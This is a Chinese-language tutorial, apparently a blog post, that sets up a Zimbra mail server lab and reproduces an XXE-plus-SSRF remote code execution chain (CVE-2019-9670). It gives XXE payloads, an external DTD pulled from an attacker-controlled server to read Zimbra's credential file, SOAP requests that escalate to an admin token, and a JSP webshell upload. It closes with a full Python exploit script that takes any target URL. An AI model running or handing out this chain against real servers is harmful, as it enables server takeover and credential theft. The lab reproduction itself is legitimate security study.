环境搭建
首先准备个ubantu 14.04服务器,换个更新源,更新下
安装辅助包,执行以下命令来安装相应的包
1 apt-get install libgmp10 libperl5.18 unzip pax sysstat sqlite3 dnsmasq wget
配置hostname和DNS服务器
1 2 vi /etc/hostname 更改hostname为自己的域名,例如mail.test.com
1 2 vi /etc/hosts 添加如下代码 192.168.37.137(本机IP) mail.test.com mail
1 2 3 4 5 6 7 8 9 vi /etc/dnsmasq.conf 配置如下 server=192.168.37.137 domain=test.com mx-host=test.com, mail.test.com, 5 mx-host=mail.test.com, mail.test.com, 5 listen-address=127.0.0.1 配置完成后重启电脑,sudo reboot 我这里是把它放在了519行,不过我感觉放哪儿都可以吧,2333
我已经提前下载好了Zimbra8.5.0版本,直接用finalshell托上去就行
也可使用命令下载8.6.0版本
1 wget https://files.zimbra.com/downloads/8.6.0_GA/zcs-8.6.0_GA_1153.UBUNTU14_64.20141215151116.tgz
1 2 3 cd进去之后执行./install然后一路按y,可能会报错 问题不大,删了就行 apt-get remove postfix
这里不需要zimbra-dnscache,因为我们上边使用的是dnsmasq,所以不需要此包
之后一路按y即可,安装可能需要些时间
可能会提示配置MX记录,no即可
1 2 3 DNS ERROR resolving MX for mail.test.com It is suggested that the domain name have an MX record configured in DNS Change domain name? [Yes] no
带星号的为必填,设置一下就OK
1 ******* +Admin Password UNSET
设置好密码之后选25填写许可证,这里随便个/etc/passwd就行
1 Enter the name of the file that contains the license: /etc/passwd
1 2 3 4 5 6 *** CONFIGURATION COMPLETE - press 'a' to apply Select from menu, or press 'a' to apply config (? - help) a Save configuration data to a file? [Yes] yes Save config in file: [/opt/zimbra/config.38577] Saving config in /opt/zimbra/config.38577...done. The system will be modified - continue? [No] yes
如果期间报错,直接回车即可
使用su - zimbra命令切换用户
zmcontrol status查看zimbra服务器状态
访问IP:7071端口,跳转zimbra管理页面
利用XXE+SSRF组合拳RCE复现
第一步,测试是否存在CVE-2019-9670 XXE漏洞
POST请求/Autodiscover/Autodiscover.xml
1 2 3 4 5 6 7 8 9 <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a"> <Request> <EMailAddress>aaaaa</EMailAddress> <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema> </Request> </Autodiscover>
第二步,读取zimbra用户账号密码
成功读到用户密码,说明XXE验证成功
接下来构造payload读zimbra的配文件localconfig.xml
由于localconfig.xml为XML文件,需要加上CDATA标签才能作为文本读取,由于XXE不能内部实体进行拼接,所以此处需要使用外部dtd:
1 2 3 4 <!ENTITY % file SYSTEM "file:../conf/localconfig.xml"> <!ENTITY % start "<![CDATA["> <!ENTITY % end "]]>"> <!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
POST请求/Autodiscover/Autodiscover.xml
1 2 3 4 5 6 7 8 9 10 11 <!DOCTYPE Autodiscover [ <!ENTITY % dtd SYSTEM "http://公网服务器/dtd"> %dtd; %all; ]> <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a"> <Request> <EMailAddress>aaaaa</EMailAddress> <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema> </Request> </Autodiscover>
第三步,利用获取到的密码获取低权限token
POST请求/service/soap或/service/admin/soap
1 2 3 4 5 6 7 8 9 10 11 12 13 <soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"> <soap:Header> <context xmlns="urn:zimbra"> <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/> </context> </soap:Header> <soap:Body> <AuthRequest xmlns="urn:zimbraAccount"> <account by="adminName">zimbra</account> <password>上一步得到密码</password> </AuthRequest> </soap:Body> </soap:Envelope>
第四步,利用SSRF漏洞通过proxy接口,访问admin的soap接口获取高权限Token
POST请求/service/proxy?target=https://127.0.0.1:7071/service/admin/soap
我这里可能环境有问题,没有使用SSRF直接请求/service/admin/soap即可获取高权限token
注意:
Host:后面加端口7071
Cookie中设置Key为ZM_ADMIN_AUTH_TOKEN,值为上面请求所获取的token
发送同上Body内容,但是AuthRequest的xmlns要改为:urn:zimbraAdmin,否则获取的还是普通权限的Token
第五步,利用高权限token传文件getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 import requestsfile= { 'filename1' :(None ,"whocare" ,None ),'clientFile' :("sunian.jsp" ,r'<% %>' ,"text/plain" ), 'requestId' :(None ,"12" ,None ),} headers ={ "Cookie" :"ZM_ADMIN_AUTH_TOKEN=0_eb68a2a147c98c6d0c2257d7638c4f1256493b28_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313539323733343831303035313b61646d696e3d313a313b747970653d363a7a696d6272613b7469643d393a3433323433373532323b" ,"Host" :"foo:7071" } r=requests.post("https://192.168.37.137:7071/service/extension/clientUploader/upload" ,files=file,headers=headers,verify=False ) print (r.text)
虽然执行报错了,但是不影响
shell地址:https://192.168.37.137:7071/downloads/sunian.jsp
exp的编写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 import requestsimport sysfrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning) base_url=sys.argv[1 ] base_url=base_url.rstrip("/" ) filename = "sunian.jsp" fileContent = r'<% %>' print (base_url)dtd_url="http://VPS-IP/exp.dtd" """ <!ENTITY % file SYSTEM "file:../conf/localconfig.xml"> <!ENTITY % start "<![CDATA["> <!ENTITY % end "]]>"> <!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>"> """ xxe_data = r"""<!DOCTYPE Autodiscover [ <!ENTITY % dtd SYSTEM "{dtd}"> %dtd; %all; ]> <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a"> <Request> <EMailAddress>aaaaa</EMailAddress> <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema> </Request> </Autodiscover>""" .format (dtd=dtd_url)headers = { "Content-Type" :"application/xml" } print ("[*] Get User Name/Password By XXE " )r = requests.post(base_url+"/Autodiscover/Autodiscover.xml" ,data=xxe_data,headers=headers,verify=False ,timeout=15 ) if 'response schema not available' not in r.text: print ("don't have xxe" ) exit() import repattern_name = re.compile (r"<key name=(\"|")zimbra_user(\"|")>\n.*?<value>(.*?)<\/value>" ) pattern_password = re.compile (r"<key name=(\"|")zimbra_ldap_password(\"|")>\n.*?<value>(.*?)<\/value>" ) username = pattern_name.findall(r.text)[0 ][2 ] password = pattern_password.findall(r.text)[0 ][2 ] auth_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"> <soap:Header> <context xmlns="urn:zimbra"> <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/> </context> </soap:Header> <soap:Body> <AuthRequest xmlns="{xmlns}"> <account by="adminName">{username}</account> <password>{password}</password> </AuthRequest> </soap:Body> </soap:Envelope> """ r=requests.post(base_url+"/service/admin/soap" ,data=auth_body.format (xmlns="urn:zimbraAccount" ,username=username,password=password),verify=False ) pattern_auth_token=re.compile (r"<authToken>(.*?)</authToken>" ) low_priv_token = pattern_auth_token.findall(r.text)[0 ] headers["Cookie" ]="ZM_ADMIN_AUTH_TOKEN=" +low_priv_token+";" headers["Host" ]="foo:7071" r = requests.post(base_url+"/service/admin/soap" ,data=auth_body.format (xmlns="urn:zimbraAdmin" ,username=username,password=password),headers=headers,verify=False ) admin_token =pattern_auth_token.findall(r.text)[0 ] f = { 'filename1' :(None ,"whocare" ,None ), 'clientFile' :(filename,fileContent,"text/plain" ), 'requestId' :(None ,"12" ,None ), } headers ={ "Cookie" :"ZM_ADMIN_AUTH_TOKEN=" +admin_token } print ("[*] 木马地址" )r = requests.post(base_url+"/service/extension/clientUploader/upload" ,files=f,headers=headers,verify=False ) print (base_url+"/downloads/" +filename)s = requests.session() r = s.get(base_url+"/downloads/" +filename,verify=False ,headers=headers) print ("[*] 管理员cookie" )print (headers['Cookie' ])
演示exp运行以及不使用cookie访问木马地址的情况
参考链接
https://www.jianshu.com/p/722bc70ff426
https://blog.csdn.net/weixin_40709439/article/details/90136596
https://blog.csdn.net/weixin_41732430/article/details/89054473